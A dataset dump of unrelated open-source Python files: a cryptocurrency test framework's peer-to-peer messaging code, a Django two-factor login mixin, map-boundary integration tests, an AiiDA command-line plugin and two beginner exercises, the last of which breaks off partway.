b"tx": msg_tx, b"verack": msg_verack, b"version": msg_version, } MAGIC_BYTES = { "mainnet": b"\xfb\xc0\xb6\xdb", "testnet4": b"\xfd\xd2\xc8\xf1", "regtest": b"\xfa\xbf\xb5\xda", } class P2PConnection(asyncio.Protocol): def __init__(self): self._transport = None @property def is_connected(self): return self._transport is not None def peer_connect(self, dstaddr, dstport, net="regtest"): assert not self.is_connected self.dstaddr = dstaddr self.dstport = dstport self.on_connection_send_msg = None self.recvbuf = b"" self.magic_bytes = MAGIC_BYTES[net] logger.debug('Connecting to Lockelycoin Node: %s:%d' % (self.dstaddr, self.dstport)) loop = NetworkThread.network_event_loop conn_gen_unsafe = loop.create_connection(lambda: self, host=self.dstaddr, port=self.dstport) conn_gen = lambda: loop.call_soon_threadsafe(loop.create_task, conn_gen_unsafe) return conn_gen def peer_disconnect(self): NetworkThread.network_event_loop.call_soon_threadsafe(lambda: self._transport and self._transport.abort()) def connection_made(self, transport): assert not self._transport logger.debug("Connected & Listening: %s:%d" % (self.dstaddr, self.dstport)) self._transport = transport if self.on_connection_send_msg: self.send_message(self.on_connection_send_msg) self.on_connection_send_msg = None self.on_open() def connection_lost(self, exc): if exc: logger.warning("Connection lost to {}:{} due to {}".format(self.dstaddr, self.dstport, exc)) else: logger.debug("Closed connection to: %s:%d" % (self.dstaddr, self.dstport)) self._transport = None self.recvbuf = b"" self.on_close() def data_received(self, t): if len(t) > 0: self.recvbuf += t self._on_data() def _on_data(self): try: while True: if len(self.recvbuf) < 4: return if self.recvbuf[:4] != self.magic_bytes: raise ValueError("got garbage %s" % repr(self.recvbuf)) if len(self.recvbuf) < 4 + 12 + 4 + 4: return command = self.recvbuf[4:4+12].split(b"\x00", 1)[0] msglen = struct.unpack("<i", self.recvbuf[4+12:4+12+4])[0] checksum = self.recvbuf[4+12+4:4+12+4+4] if len(self.recvbuf) < 4 + 12 + 4 + 4 + msglen: return msg = self.recvbuf[4+12+4+4:4+12+4+4+msglen] th = sha256(msg) h = sha256(th) if checksum != h[:4]: raise ValueError("got bad checksum " + repr(self.recvbuf)) self.recvbuf = self.recvbuf[4+12+4+4+msglen:] if command not in MESSAGEMAP: raise ValueError("Received unknown command from %s:%d: '%s' %s" % (self.dstaddr, self.dstport, command, repr(msg))) f = BytesIO(msg) t = MESSAGEMAP[command]() t.deserialize(f) self._log_message("receive", t) self.on_message(t) except Exception as e: logger.exception('Error reading message:', repr(e)) raise def on_message(self, message): raise NotImplementedError def send_message(self, message): tmsg = self.build_message(message) self._log_message("send", message) return self.send_raw_message(tmsg) def send_raw_message(self, raw_message_bytes): if not self.is_connected: raise IOError('Not connected') def maybe_write(): if not self._transport: return if hasattr(self._transport, 'is_closing') and self._transport.is_closing(): return self._transport.write(raw_message_bytes) NetworkThread.network_event_loop.call_soon_threadsafe(maybe_write) def build_message(self, message): command = message.command data = message.serialize() tmsg = self.magic_bytes tmsg += command tmsg += b"\x00" * (12 - len(command)) tmsg += struct.pack("<I", len(data)) th = sha256(data) h = sha256(th) tmsg += h[:4] tmsg += data return tmsg def _log_message(self, direction, msg): if direction == "send": log_message = "Send message to " elif direction == "receive": log_message = "Received message from " log_message += "%s:%d: %s" % (self.dstaddr, self.dstport, repr(msg)[:500]) if len(log_message) > 500: log_message += "... (msg truncated)" logger.debug(log_message) class P2PInterface(P2PConnection): def __init__(self): super().__init__() self.message_count = defaultdict(int) self.last_message = {} self.ping_counter = 1 # The network services received from the peer self.nServices = 0 def peer_connect(self, *args, services=NODE_NETWORK|NODE_WITNESS, send_version=True, **kwargs): create_conn = super().peer_connect(*args, **kwargs) if send_version: # Send a version msg vt = msg_version() vt.nServices = services vt.addrTo.ip = self.dstaddr vt.addrTo.port = self.dstport vt.addrFrom.ip = "0.0.0.0" vt.addrFrom.port = 0 self.on_connection_send_msg = vt # Will be sent soon after connection_made return create_conn # Message receiving methods def on_message(self, message): with mininode_lock: try: command = message.command.decode('ascii') self.message_count[command] += 1 self.last_message[command] = message getattr(self, 'on_' + command)(message) except: print("ERROR delivering %s (%s)" % (repr(message), sys.exc_info()[0])) raise # Callback methods. Can be overridden by subclasses in individual test # cases to provide custom message handling behaviour. def on_open(self): pass def on_close(self): pass def on_addr(self, message): pass def on_block(self, message): pass def on_blocktxn(self, message): pass def on_cmpctblock(self, message): pass def on_feefilter(self, message): pass def on_getaddr(self, message): pass def on_getblocks(self, message): pass def on_getblocktxn(self, message): pass def on_getdata(self, message): pass def on_getheaders(self, message): pass def on_headers(self, message): pass def on_mempool(self, message): pass def on_notfound(self, message): pass def on_pong(self, message): pass def on_reject(self, message): pass def on_sendcmpct(self, message): pass def on_sendheaders(self, message): pass def on_tx(self, message): pass def on_inv(self, message): want = msg_getdata() for i in message.inv: if i.type != 0: want.inv.append(i) if len(want.inv): self.send_message(want) def on_ping(self, message): self.send_message(msg_pong(message.nonce)) def on_verack(self, message): pass def on_version(self, message): assert message.nVersion >= MIN_VERSION_SUPPORTED, "Version {} received. Test framework only supports versions greater than {}".format(message.nVersion, MIN_VERSION_SUPPORTED) self.send_message(msg_verack()) self.nServices = message.nServices # Connection helper methods def wait_for_disconnect(self, timeout=60): test_function = lambda: not self.is_connected wait_until(test_function, timeout=timeout, lock=mininode_lock) # Message receiving helper methods def wait_for_tx(self, txid, timeout=60): def test_function(): if not self.last_message.get('tx'): return False return self.last_message['tx'].tx.rehash() == txid wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_block(self, blockhash, timeout=60): test_function = lambda: self.last_message.get("block") and self.last_message["block"].block.rehash() == blockhash wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_header(self, blockhash, timeout=60): def test_function(): last_headers = self.last_message.get('headers') if not last_headers: return False return last_headers.headers[0].rehash() == blockhash wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_getdata(self, timeout=60): test_function = lambda: self.last_message.get("getdata") wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_getheaders(self, timeout=60): test_function = lambda: self.last_message.get("getheaders") wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_inv(self, expected_inv, timeout=60): if len(expected_inv) > 1: raise NotImplementedError("wait_for_inv() will only verify the first inv object") test_function = lambda: self.last_message.get("inv") and \ self.last_message["inv"].inv[0].type == expected_inv[0].type and \ self.last_message["inv"].inv[0].hash == expected_inv[0].hash wait_until(test_function, timeout=timeout, lock=mininode_lock) def wait_for_verack(self, timeout=60): test_function = lambda: self.message_count["verack"] wait_until(test_function, timeout=timeout, lock=mininode_lock) # Message sending helper functions def send_and_ping(self, message, timeout=60): self.send_message(message) self.sync_with_ping(timeout=timeout) # Sync up with the node def sync_with_ping(self, timeout=60): self.send_message(msg_ping(nonce=self.ping_counter)) test_function = lambda: self.last_message.get("pong") and self.last_message["pong"].nonce == self.ping_counter wait_until(test_function, timeout=timeout, lock=mininode_lock) self.ping_counter += 1 # One lock for synchronizing all data access between the network event loop (see # NetworkThread below) and the thread running the test logic. For simplicity, # P2PConnection acquires this lock whenever delivering a message to a P2PInterface. # This lock should be acquired in the thread running the test logic to synchronize # access to any data shared with the P2PInterface or P2PConnection. mininode_lock = threading.RLock() class NetworkThread(threading.Thread): network_event_loop = None def __init__(self): super().__init__(name="NetworkThread") # There is only one event loop and no more than one thread must be created assert not self.network_event_loop NetworkThread.network_event_loop = asyncio.new_event_loop() def run(self): self.network_event_loop.run_forever() def close(self, timeout=10): self.network_event_loop.call_soon_threadsafe(self.network_event_loop.stop) wait_until(lambda: not self.network_event_loop.is_running(), timeout=timeout) self.network_event_loop.close() self.join(timeout) class P2PDataStore(P2PInterface): def __init__(self): super().__init__() # store of blocks. key is block hash, value is a CBlock object self.block_store = {} self.last_block_hash = '' # store of txs. key is txid, value is a CTransaction object self.tx_store = {} self.getdata_requests = [] def on_getdata(self, message): for inv in message.inv: self.getdata_requests.append(inv.hash) if (inv.type & MSG_TYPE_MASK) == MSG_TX and inv.hash in self.tx_store.keys(): self.send_message(msg_tx(self.tx_store[inv.hash])) elif (inv.type & MSG_TYPE_MASK) == MSG_BLOCK and inv.hash in self.block_store.keys(): self.send_message(msg_block(self.block_store[inv.hash])) else: logger.debug('getdata message type {} received.'.format(hex(inv.type))) def on_getheaders(self, message): locator, hash_stop = message.locator, message.hashstop # Assume that the most recent block added is the tip if not self.block_store: return headers_list = [self.block_store[self.last_block_hash]] maxheaders = 2000 while headers_list[-1].sha256 not in locator.vHave: # Walk back through the block store, adding headers to headers_list # as we go. prev_block_hash = headers_list[-1].hashPrevBlock if prev_block_hash in self.block_store: prev_block_header = CBlockHeader(self.block_store[prev_block_hash]) headers_list.append(prev_block_header) if prev_block_header.sha256 == hash_stop: # if this is the hashstop header, stop here break else: logger.debug('block hash {} not found in block store'.format(hex(prev_block_hash))) break # Truncate the list if there are too many headers headers_list = headers_list[:-maxheaders - 1:-1] response = msg_headers(headers_list) if response is not None: self.send_message(response) def send_blocks_and_test(self, blocks, node, *, success=True, force_send=False, reject_reason=None, expect_disconnect=False, timeout=60): with mininode_lock: for block in blocks: self.block_store[block.sha256] = block self.last_block_hash = block.sha256 reject_reason = [reject_reason] if reject_reason else [] with node.assert_debug_log(expected_msgs=reject_reason): if force_send: for b in blocks: self.send_message(msg_block(block=b)) else: self.send_message(msg_headers([CBlockHeader(blocks[-1])])) wait_until(lambda: blocks[-1].sha256 in self.getdata_requests, timeout=timeout, lock=mininode_lock) if expect_disconnect: self.wait_for_disconnect(timeout=timeout) else: self.sync_with_ping(timeout=timeout) if success: wait_until(lambda: node.getbestblockhash() == blocks[-1].hash, timeout=timeout) else: assert node.getbestblockhash() != blocks[-1].hash def send_txs_and_test(self, txs, node, *, success=True, expect_disconnect=False, reject_reason=None): with mininode_lock: for tx in txs: self.tx_store[tx.sha256] = tx reject_reason = [reject_reason] if reject_reason else [] with node.assert_debug_log(expected_msgs=reject_reason): for tx in txs: self.send_message(msg_tx(tx)) if expect_disconnect: self.wait_for_disconnect() else: self.sync_with_ping() raw_mempool = node.getrawmempool() if success: # Check that all txs are now in the mempool for tx in txs: assert tx.hash in raw_mempool, "{} not found in mempool".format(tx.hash) else: # Check that none of the txs are now in the mempool for tx in txs: assert tx.hash not in raw_mempool, "{} tx found in mempool".format(tx.hash)

true

f7326e08422672f437abdf740d0fd756aaca9b7e

2,935

py

Python

two_factor/views/mixins.py

Bassel2387/django-two-factor-auth

e69d9a7fa289a0289e6fc42f4f9cea632e01132d

[ "MIT" ]

65

2021-12-30T16:58:11.000Z

2022-03-28T21:36:51.000Z

two_factor/views/mixins.py

Bassel2387/django-two-factor-auth

e69d9a7fa289a0289e6fc42f4f9cea632e01132d

[ "MIT" ]

68

2021-12-29T19:48:40.000Z

2022-03-31T10:51:12.000Z

two_factor/views/mixins.py

Bassel2387/django-two-factor-auth

e69d9a7fa289a0289e6fc42f4f9cea632e01132d

[ "MIT" ]

21

2021-12-30T16:58:14.000Z

2022-03-30T07:10:23.000Z

from django.contrib.auth import REDIRECT_FIELD_NAME from django.contrib.auth.views import redirect_to_login from django.core.exceptions import PermissionDenied from django.template.response import TemplateResponse from django.urls import reverse from ..utils import default_device class OTPRequiredMixin: """ View mixin which verifies that the user logged in using OTP. .. note:: This mixin should be the left-most base class. """ raise_anonymous = False """ Whether to raise PermissionDenied if the user isn't logged in. """ login_url = None """ If :attr:`raise_anonymous` is set to `False`, this defines where the user will be redirected to. Defaults to ``two_factor:login``. """ redirect_field_name = REDIRECT_FIELD_NAME """ URL query name to use for providing the destination URL. """ raise_unverified = False """ Whether to raise PermissionDenied if the user isn't verified. """ verification_url = None """ If :attr:`raise_unverified` is set to `False`, this defines where the user will be redirected to. If set to ``None``, an explanation will be shown to the user on why access was denied. """ def get_login_url(self): """ Returns login url to redirect to. """ return self.login_url and str(self.login_url) or reverse('two_factor:login') def get_verification_url(self): """ Returns verification url to redirect to. """ return self.verification_url and str(self.verification_url) def dispatch(self, request, *args, **kwargs): if not request.user or not request.user.is_authenticated or \ (not request.user.is_verified() and default_device(request.user)): # If the user has not authenticated raise or redirect to the login # page. Also if the user just enabled two-factor authentication and # has not yet logged in since should also have the same result. If # the user receives a 'you need to enable TFA' by now, he gets # confuses as TFA has just been enabled. So we either raise or # redirect to the login page. if self.raise_anonymous: raise PermissionDenied() else: return redirect_to_login(request.get_full_path(), self.get_login_url()) if not request.user.is_verified(): if self.raise_unverified: raise PermissionDenied() elif self.get_verification_url(): return redirect_to_login(request.get_full_path(), self.get_verification_url()) else: return TemplateResponse( request=request, template='two_factor/core/otp_required.html', status=403, ) return super().dispatch(request, *args, **kwargs)

35.361446

94

0.639864

from django.contrib.auth import REDIRECT_FIELD_NAME from django.contrib.auth.views import redirect_to_login from django.core.exceptions import PermissionDenied from django.template.response import TemplateResponse from django.urls import reverse from ..utils import default_device class OTPRequiredMixin: raise_anonymous = False login_url = None redirect_field_name = REDIRECT_FIELD_NAME raise_unverified = False verification_url = None def get_login_url(self): return self.login_url and str(self.login_url) or reverse('two_factor:login') def get_verification_url(self): return self.verification_url and str(self.verification_url) def dispatch(self, request, *args, **kwargs): if not request.user or not request.user.is_authenticated or \ (not request.user.is_verified() and default_device(request.user)): if self.raise_anonymous: raise PermissionDenied() else: return redirect_to_login(request.get_full_path(), self.get_login_url()) if not request.user.is_verified(): if self.raise_unverified: raise PermissionDenied() elif self.get_verification_url(): return redirect_to_login(request.get_full_path(), self.get_verification_url()) else: return TemplateResponse( request=request, template='two_factor/core/otp_required.html', status=403, ) return super().dispatch(request, *args, **kwargs)

true

f7326f3839bbb8c4d87f6e6f1636403646f0f7c4

6,253

py

Python

integration-test/992-boundaries-min_zoom-and-name.py

nzjony/vector-datasource

926555904cf44da06380d808fdc16f4b992bde1f

[ "MIT" ]

null

integration-test/992-boundaries-min_zoom-and-name.py

nzjony/vector-datasource

926555904cf44da06380d808fdc16f4b992bde1f

[ "MIT" ]

null

integration-test/992-boundaries-min_zoom-and-name.py

nzjony/vector-datasource

926555904cf44da06380d808fdc16f4b992bde1f

[ "MIT" ]

null

from . import FixtureTest class BoundariesMinZoomAndNameNe(FixtureTest): # global: # # NOTE: Natural Earth 1:50 million used zooms 0,1,2,3,4 # # and only has USA, Canada, Brazil, and Australia # # all with scalerank of 2 (a documented NE omission). # # Then 1:10 million NE is selected at zooms 5, 6, 7 # # and includes most all countries, with various scalerank # # but is inconsistent with 1:50 in scalerank=2 so countries # # like Russia will "pop" in at 5, but with min_zoom of 2 # # (and India, China, Indonesia, and South Africa). # - &ne_region_boundaries_min_zoom | # CASE WHEN scalerank = 0 THEN 6.7 # WHEN scalerank <= 2 THEN 2 # WHEN scalerank <= 3 THEN 3 # WHEN scalerank <= 4 THEN 5 # WHEN scalerank <= 5 THEN 5.5 # WHEN scalerank <= 6 THEN 6 # WHEN scalerank <= 7 THEN 6.7 # WHEN scalerank <= 8 THEN 6.8 # WHEN scalerank <= 9 THEN 7 # END def test_england_wales_boundary(self): # England-Wales boundary in United Kingdom (scalerank=4, 1:10m NE # only) self.load_fixtures([ 'file://integration-test/fixtures/' 'ne_10m_admin_0_boundary_lines_map_units/' '992-ne_10m_admin_0_boundary_lines_map_units_eng_wales.shp', ]) self.assert_has_feature( 5, 15, 10, 'boundaries', {'kind': 'map_unit', 'min_zoom': 5, 'sort_rank': 258}) def test_usa_region(self): # region min_zoom (via scalerank) # USA region (scalerank=2, 1:50m NE and 1:10m NE) self.load_fixtures([ 'file://integration-test/fixtures/' 'ne_10m_admin_1_states_provinces_lines/' '992-ne_10m_admin_1_states_provinces_lines-nv-ca-' 'europe-mexico.shp', ]) self.assert_has_feature( 2, 0, 1, 'boundaries', {'kind': 'region', 'min_zoom': 2}) # USA region NO name, Natural Earth self.assert_has_feature( 2, 0, 1, 'boundaries', {'kind': 'region', 'name': type(None)}) def test_10m_regions(self): self.load_fixtures([ 'file://integration-test/fixtures/' 'ne_10m_admin_1_states_provinces_lines/' '992-ne_10m_admin_1_states_provinces_lines-nv-ca' '-europe-mexico.shp', ]) # Germany region (scalerank=3, 1:10m NE only) self.assert_has_feature( 5, 17, 10, 'boundaries', {'kind': 'region', 'min_zoom': 3}) # Germany region NO name, Natural Earth self.assert_has_feature( 5, 17, 10, 'boundaries', {'kind': 'region', 'name': type(None)}) # Mexico region (scalerank=4, 1:10m NE only) self.assert_has_feature( 5, 7, 14, 'boundaries', {'kind': 'region', 'min_zoom': 5}) # Mexico region NO name, Natural Earth self.assert_has_feature( 5, 7, 14, 'boundaries', {'kind': 'region', 'name': type(None)}) # Poland region (scalerank=5, 1:10m NE only) self.assert_has_feature( 5, 17, 10, 'boundaries', {'kind': 'region', 'min_zoom': 5.5}) # Poland region NO name, Natural Earth self.assert_has_feature( 5, 17, 10, 'boundaries', {'kind': 'region', 'name': type(None)}) # Austria region (scalerank=6, 1:10m NE only) self.assert_has_feature( 6, 34, 22, 'boundaries', {'kind': 'region', 'min_zoom': 6}) # Austria region NO name, Natural Earth self.assert_has_feature( 6, 34, 22, 'boundaries', {'kind': 'region', 'name': type(None)}) # Austria region HAS name, Natural Earth self.assert_has_feature( 7, 68, 44, 'boundaries', {'kind': 'region', 'name': 'Tirol - Salzburg'}) # Sweden region (scalerank=7, 1:10m NE only) self.assert_has_feature( 6, 35, 18, 'boundaries', {'kind': 'region', 'min_zoom': 6.7}) # United Kingdom region (scalerank=8, 1:10m NE only) self.assert_has_feature( 6, 31, 18, 'boundaries', {'kind': 'region', 'min_zoom': 6.8}) # Switzerland region (scalerank=9, 1:10m NE only) self.assert_has_feature( 7, 66, 44, 'boundaries', {'kind': 'region', 'min_zoom': 7}) class BoundariesMinZoomAndNameOsm(FixtureTest): def test_region_boundary_zug_luzern_z8(self): # Switzerland region HAS NO name, OpenStreetMap self.load_fixtures([ 'http://www.openstreetmap.org/relation/1686447', 'http://www.openstreetmap.org/relation/1685677', ], clip=self.tile_bbox(8, 133, 89)) # test that the regional boundary is present at zoom 8, although it # should have had its name stripped off, since it's very short. self.assert_has_feature( 8, 133, 89, 'boundaries', {'kind': 'region', 'name': type(None)}) def test_region_boundary_zug_luzern_z12(self): # Switzerland region HAS name, OpenStreetMap # do this at z12, as the boundary between Zug and Luzern is quite # short, and we want enough space to label. self.load_fixtures([ 'http://www.openstreetmap.org/relation/1686447', 'http://www.openstreetmap.org/relation/1685677', ], clip=self.tile_bbox(12, 2144, 1438)) # name should be present at zoom 12 self.assert_has_feature( 12, 2144, 1438, 'boundaries', {'kind': 'region', 'name': 'Zug - Luzern'}) def test_region_boundary_salzburg_tirol(self): # Austria region HAS name, OpenStreetMap self.load_fixtures([ 'http://www.openstreetmap.org/relation/52343', 'http://www.openstreetmap.org/relation/86539', ], clip=self.tile_bbox(8, 136, 89)) self.assert_has_feature( 8, 136, 89, 'boundaries', {'kind': 'region', 'name': 'Salzburg - Tirol'})

37.89697

75

0.565009

from . import FixtureTest class BoundariesMinZoomAndNameNe(FixtureTest): 'min_zoom': 5, 'sort_rank': 258}) def test_usa_region(self): self.load_fixtures([ 'file://integration-test/fixtures/' 'ne_10m_admin_1_states_provinces_lines/' '992-ne_10m_admin_1_states_provinces_lines-nv-ca-' 'europe-mexico.shp', ]) self.assert_has_feature( 2, 0, 1, 'boundaries', {'kind': 'region', 'min_zoom': 2}) self.assert_has_feature( 2, 0, 1, 'boundaries', {'kind': 'region', 'name': type(None)}) def test_10m_regions(self): self.load_fixtures([ 'file://integration-test/fixtures/' 'ne_10m_admin_1_states_provinces_lines/' '992-ne_10m_admin_1_states_provinces_lines-nv-ca' '-europe-mexico.shp', ]) self.assert_has_feature( 5, 17, 10, 'boundaries', {'kind': 'region', 'min_zoom': 3}) self.assert_has_feature( 5, 17, 10, 'boundaries', {'kind': 'region', 'name': type(None)}) self.assert_has_feature( 5, 7, 14, 'boundaries', {'kind': 'region', 'min_zoom': 5}) self.assert_has_feature( 5, 7, 14, 'boundaries', {'kind': 'region', 'name': type(None)}) self.assert_has_feature( 5, 17, 10, 'boundaries', {'kind': 'region', 'min_zoom': 5.5}) self.assert_has_feature( 5, 17, 10, 'boundaries', {'kind': 'region', 'name': type(None)}) self.assert_has_feature( 6, 34, 22, 'boundaries', {'kind': 'region', 'min_zoom': 6}) self.assert_has_feature( 6, 34, 22, 'boundaries', {'kind': 'region', 'name': type(None)}) self.assert_has_feature( 7, 68, 44, 'boundaries', {'kind': 'region', 'name': 'Tirol - Salzburg'}) self.assert_has_feature( 6, 35, 18, 'boundaries', {'kind': 'region', 'min_zoom': 6.7}) self.assert_has_feature( 6, 31, 18, 'boundaries', {'kind': 'region', 'min_zoom': 6.8}) self.assert_has_feature( 7, 66, 44, 'boundaries', {'kind': 'region', 'min_zoom': 7}) class BoundariesMinZoomAndNameOsm(FixtureTest): def test_region_boundary_zug_luzern_z8(self): self.load_fixtures([ 'http://www.openstreetmap.org/relation/1686447', 'http://www.openstreetmap.org/relation/1685677', ], clip=self.tile_bbox(8, 133, 89)) self.assert_has_feature( 8, 133, 89, 'boundaries', {'kind': 'region', 'name': type(None)}) def test_region_boundary_zug_luzern_z12(self): # Switzerland region HAS name, OpenStreetMap # do this at z12, as the boundary between Zug and Luzern is quite # short, and we want enough space to label. self.load_fixtures([ 'http://www.openstreetmap.org/relation/1686447', 'http://www.openstreetmap.org/relation/1685677', ], clip=self.tile_bbox(12, 2144, 1438)) # name should be present at zoom 12 self.assert_has_feature( 12, 2144, 1438, 'boundaries', {'kind': 'region', 'name': 'Zug - Luzern'}) def test_region_boundary_salzburg_tirol(self): # Austria region HAS name, OpenStreetMap self.load_fixtures([ 'http://www.openstreetmap.org/relation/52343', 'http://www.openstreetmap.org/relation/86539', ], clip=self.tile_bbox(8, 136, 89)) self.assert_has_feature( 8, 136, 89, 'boundaries', {'kind': 'region', 'name': 'Salzburg - Tirol'})

true

f7326f9a88e0ca06be5f06f02185b9b5198aa58c

1,631

py

Python

aiida_abinit/cli.py

gpetretto/aiida-abinit

bdbfd770eecb44a0b864bdee1d282eab92f7913d

[ "MIT" ]

null

aiida_abinit/cli.py

gpetretto/aiida-abinit

bdbfd770eecb44a0b864bdee1d282eab92f7913d

[ "MIT" ]

null

aiida_abinit/cli.py

gpetretto/aiida-abinit

bdbfd770eecb44a0b864bdee1d282eab92f7913d

[ "MIT" ]

null

""" Command line interface (cli) for aiida_abinit. Register new commands either via the "console_scripts" entry point or plug them directly into the 'verdi' command by using AiiDA-specific entry points like "aiida.cmdline.data" (both in the setup.json file). """ import sys import click from aiida.cmdline.utils import decorators from aiida.cmdline.commands.cmd_data import verdi_data from aiida.cmdline.params.types import DataParamType # See aiida.cmdline.data entry point in setup.json @verdi_data.group('abinit') def data_cli(): """Command line interface for aiida-abinit""" @data_cli.command('list') @decorators.with_dbenv() def list_(): # pylint: disable=redefined-builtin """ Display all DiffParameters nodes """ from aiida.orm import QueryBuilder from aiida.plugins import DataFactory DiffParameters = DataFactory('abinit') qb = QueryBuilder() qb.append(DiffParameters) results = qb.all() s = "" for result in results: obj = result[0] s += "{}, pk: {}\n".format(str(obj), obj.pk) sys.stdout.write(s) @data_cli.command('export') @click.argument('node', metavar='IDENTIFIER', type=DataParamType()) @click.option('--outfile', '-o', type=click.Path(dir_okay=False), help='Write output to file (default: print to stdout).') @decorators.with_dbenv() def export(node, outfile): """Export a DiffParameters node (identified by PK, UUID or label) to plain text.""" string = str(node) if outfile: with open(outfile, 'w') as f: f.write(string) else: click.echo(string)

27.644068

87

0.676885

import sys import click from aiida.cmdline.utils import decorators from aiida.cmdline.commands.cmd_data import verdi_data from aiida.cmdline.params.types import DataParamType @verdi_data.group('abinit') def data_cli(): @data_cli.command('list') @decorators.with_dbenv() def list_(): from aiida.orm import QueryBuilder from aiida.plugins import DataFactory DiffParameters = DataFactory('abinit') qb = QueryBuilder() qb.append(DiffParameters) results = qb.all() s = "" for result in results: obj = result[0] s += "{}, pk: {}\n".format(str(obj), obj.pk) sys.stdout.write(s) @data_cli.command('export') @click.argument('node', metavar='IDENTIFIER', type=DataParamType()) @click.option('--outfile', '-o', type=click.Path(dir_okay=False), help='Write output to file (default: print to stdout).') @decorators.with_dbenv() def export(node, outfile): string = str(node) if outfile: with open(outfile, 'w') as f: f.write(string) else: click.echo(string)

true

f73270246396d797d875be406506d2f9147d1917

390

py

Python

src/CursoEmvideo/ex052.py

kessiarodrigues/Python-Course

2e6097af4475d826c2b242d4699aec72301060f7

[ "MIT" ]

null

src/CursoEmvideo/ex052.py

kessiarodrigues/Python-Course

2e6097af4475d826c2b242d4699aec72301060f7

[ "MIT" ]

null

src/CursoEmvideo/ex052.py

kessiarodrigues/Python-Course

2e6097af4475d826c2b242d4699aec72301060f7

[ "MIT" ]

null

num = int(input('Digite um número: ')) tot = 0 for c in range(1, num + 1): if num % c == 0: print('\33[33m', end='') tot += 1 else: print('\33[31m', end='') print('{} '.format(c), end='') print('\n\033[mO número {} foi divisível {} vezes'.format(num, tot)) if tot == 2: print('E por isso ele É PRIMO!') else: print('E por isoo ele NÃO É PRIMO!')

26

68

0.523077

num = int(input('Digite um número: ')) tot = 0 for c in range(1, num + 1): if num % c == 0: print('\33[33m', end='') tot += 1 else: print('\33[31m', end='') print('{} '.format(c), end='') print('\n\033[mO número {} foi divisível {} vezes'.format(num, tot)) if tot == 2: print('E por isso ele É PRIMO!') else: print('E por isoo ele NÃO É PRIMO!')

true

f732708b48f8553877cd926c4f63a2d192d32cb7

5,209

py

Python

groceries.py

ktg269/groceries-home

338c40c6b7ad513bb8dd2a07d14133e7bac3427d

[ "MIT" ]

1

2019-06-11T03:06:38.000Z

groceries.py

ktg269/groceries-home

338c40c6b7ad513bb8dd2a07d14133e7bac3427d

[ "MIT" ]

null

groceries.py

ktg269/groceries-home

338c40c6b7ad513bb8dd2a07d14133e7bac3427d

[ "MIT" ]

null

# groceries.py products = [ {"id":1, "name": "Chocolate Sandwich Cookies", "department": "snacks", "aisle": "cookies cakes", "price": 3.50}, {"id":2, "name": "All-Seasons Salt", "department": "pantry", "aisle": "spices seasonings", "price": 4.99}, {"id":3, "name": "Robust Golden Unsweetened Oolong Tea", "department": "beverages", "aisle": "tea", "price": 2.49}, {"id":4, "name": "Smart Ones Classic Favorites Mini Rigatoni With Vodka Cream Sauce", "department": "frozen", "aisle": "frozen meals", "price": 6.99}, {"id":5, "name": "Green Chile Anytime Sauce", "department": "pantry", "aisle": "marinades meat preparation", "price": 7.99}, {"id":6, "name": "Dry Nose Oil", "department": "personal care", "aisle": "cold flu allergy", "price": 21.99}, {"id":7, "name": "Pure Coconut Water With Orange", "department": "beverages", "aisle": "juice nectars", "price": 3.50}, {"id":8, "name": "Cut Russet Potatoes Steam N' Mash", "department": "frozen", "aisle": "frozen produce", "price": 4.25}, {"id":9, "name": "Light Strawberry Blueberry Yogurt", "department": "dairy eggs", "aisle": "yogurt", "price": 6.50}, {"id":10, "name": "Sparkling Orange Juice & Prickly Pear Beverage", "department": "beverages", "aisle": "water seltzer sparkling water", "price": 2.99}, {"id":11, "name": "Peach Mango Juice", "department": "beverages", "aisle": "refrigerated", "price": 1.99}, {"id":12, "name": "Chocolate Fudge Layer Cake", "department": "frozen", "aisle": "frozen dessert", "price": 18.50}, {"id":13, "name": "Saline Nasal Mist", "department": "personal care", "aisle": "cold flu allergy", "price": 16.00}, {"id":14, "name": "Fresh Scent Dishwasher Cleaner", "department": "household", "aisle": "dish detergents", "price": 4.99}, {"id":15, "name": "Overnight Diapers Size 6", "department": "babies", "aisle": "diapers wipes", "price": 25.50}, {"id":16, "name": "Mint Chocolate Flavored Syrup", "department": "snacks", "aisle": "ice cream toppings", "price": 4.50}, {"id":17, "name": "Rendered Duck Fat", "department": "meat seafood", "aisle": "poultry counter", "price": 9.99}, {"id":18, "name": "Pizza for One Suprema Frozen Pizza", "department": "frozen", "aisle": "frozen pizza", "price": 12.50}, {"id":19, "name": "Gluten Free Quinoa Three Cheese & Mushroom Blend", "department": "dry goods pasta", "aisle": "grains rice dried goods", "price": 3.99}, {"id":20, "name": "Pomegranate Cranberry & Aloe Vera Enrich Drink", "department": "beverages", "aisle": "juice nectars", "price": 4.25} ] # based on data from Instacart: https://www.instacart.com/datasets/grocery-shopping-2017 # product part 1 # -------------- # THERE ARE 20 PRODUCTS: # -------------- # + All-Seasons Salt ($4.99) # + Chocolate Fudge Layer Cake ($18.50) # + Chocolate Sandwich Cookies ($3.50) # + Cut Russet Potatoes Steam N' Mash ($4.25) # + Dry Nose Oil ($21.99) # + Fresh Scent Dishwasher Cleaner ($4.99) # + Gluten Free Quinoa Three Cheese & Mushroom Blend ($3.99) # + Green Chile Anytime Sauce ($7.99) # + Light Strawberry Blueberry Yogurt ($6.50) # + Mint Chocolate Flavored Syrup ($4.50) # + Overnight Diapers Size 6 ($25.50) # + Peach Mango Juice ($1.99) # + Pizza For One Suprema Frozen Pizza ($12.50) # + Pomegranate Cranberry & Aloe Vera Enrich Drink ($4.25) # + Pure Coconut Water With Orange ($3.50) # + Rendered Duck Fat ($9.99) # + Robust Golden Unsweetened Oolong Tea ($2.49) # + Saline Nasal Mist ($16.00) # + Smart Ones Classic Favorites Mini Rigatoni With Vodka Cream Sauce ($6.99) # + Sparkling Orange Juice & Prickly Pear Beverage ($2.99) products_count = len(products) print("----------------------") print("THERE ARE " + str(products_count) + " PRODUCTS:") print("----------------------") def sort_by_name(any_product): return any_product["name"] sorted_products = sorted(products, key=sort_by_name) for p in sorted_products: #print(p["name"]) #price_usd = p["price"] price_usd = " (${0:.2f})".format(p["price"]) print("..." + p["name"] + price_usd) # # DEPARTMENTS (PART 2) # # -------------- # THERE ARE 10 DEPARTMENTS: # -------------- # + Babies (1 product) # + Beverages (5 products) # + Dairy Eggs (1 product) # + Dry Goods Pasta (1 product) # + Frozen (4 products) # 